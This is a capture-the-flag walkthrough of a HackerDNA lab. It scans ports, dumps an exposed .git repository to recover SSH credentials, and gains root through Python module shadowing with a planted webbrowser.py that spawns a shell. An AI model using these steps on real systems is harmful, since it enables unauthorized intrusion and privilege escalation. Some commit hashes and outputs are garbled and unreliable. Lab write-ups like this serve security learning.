

Traversed

lab link : <https://hackerdna.com/labs/traversed>

1- port enumeration

```
└─$ sudo rustscan -a 54.246.150.76 -g -u 5000 -- -Pn
[sudo] password for kali:
54.246.150.76 → [22,80]
└─$ sudo nmap -sTCV -Pn -open -T4 -p22,80 54.246.150.76
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
|   256 18:e5:50:88:9b:5e:d8:64:78:8e:ac:e2:91:d5:c8:ec (ECDSA)
|_  256 4e:06:b4:1d:a4:49:82:24:d2:62:d0:9e:8b:9c:b7:68 (ED25519)
80/tcp    open  http      nginx 1.27.1
|_ http-title: Welcome to Hackerdna's Website
|_ http-git:
|   54.246.150.76:80/.git/
|   Git repository found!
|   .git/config matched patterns 'user'
|   Repository description: Unnamed repository; edit this file 'description
' to name the ...
|_  Last commit message: Modified source code for index.php
|_ http-server-header: nginx/1.27.1
```

Open SSH port 22 and open HTTP port on 80.

Nmap script grabbed "/.git".

2- dumping .git:

We dump it using "gid-dumper" into a new folder

```
git-dumper http://54.246.150.76:80/.git/ git-loot
```

cd to folder, then:

- look for commit logs : `git log --oneline`

```
└─$ git log --oneline
3 5 (HEAD) Modified source code for index.php
d 7 re
9 f re
e 1 Ac
7 7 Added index.php
```

- show commit detail : `git show <Commit_ID>`.

```

└─$ git show 9f85e4b7f
commit 9f85e4b7f100644
Author: Test <test@example.com>
Date:   Wed Sep 25 03:13:06 2024 +0530

    redacted the password for security

diff --git a/credentials.txt b/credentials.txt
index 7e9dd6f..85e4b7f 100644
--- a/credentials.txt
+++ b/credentials.txt
@@ -1,1 @@
-username:
+username:<redacted>

```

we're able to see an original password in cleartext before it was redacted and a username.

3- Trying found credential on SSH, and we in the machine. we can find the user flag.

```

└─$ ssh hackerdna@54.246.150.76
ip-10-0-2-77:~$ cat flag-user.txt

```

PrivEsc

A script is found in the user folder.

```

ip-10-0-2-77:~$ cat test.py
import webbrowser
webbrowser.open("https://google.com")

```

and we can run it as root using sudo.

```

ip-10-0-2-77:/home$ sudo -l
User hackerdna may run the following commands on ip-10-0-2-77:
(root) NOPASSWD: /usr/bin/python3 /home/hackerdna/test.py

```

this is a classic **Python Module Shadowing** attack where an adversary exploits Python's import resolution order, which prioritizes the **current working directory** over standard system libraries. By placing a malicious file named `webbrowser.py` in the same directory as the target script, we're "shadowing" the legitimate standard library module. When the

script executes `import webbrowser` , Python loads your malicious version first, allowing us to hijack function calls.

Creating malicious file

```
ip-10-0-11-116:~$ ls
test.py
ip-10-0-11-116:~$ cat > webbrowser.py << 'EOF'
> import os
>
> def open(url):
>     os.system("/bin/ash")
> EOF
ip-10-0-11-116:~$ cat webbrowser.py
import os
```

```
cat > webbrowser.py << 'EOF'
import os
def open(url):
    os.system("/bin/sh")
EOF
```

And after running the script we become root.

```
ip-10-0-11-116:~$ sudo -u root /usr/bin/python3 /home/hackerdna/test.py
/home/hackerdna # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

Root flag is in the usually directory, I will let you guess.

Happy hunting !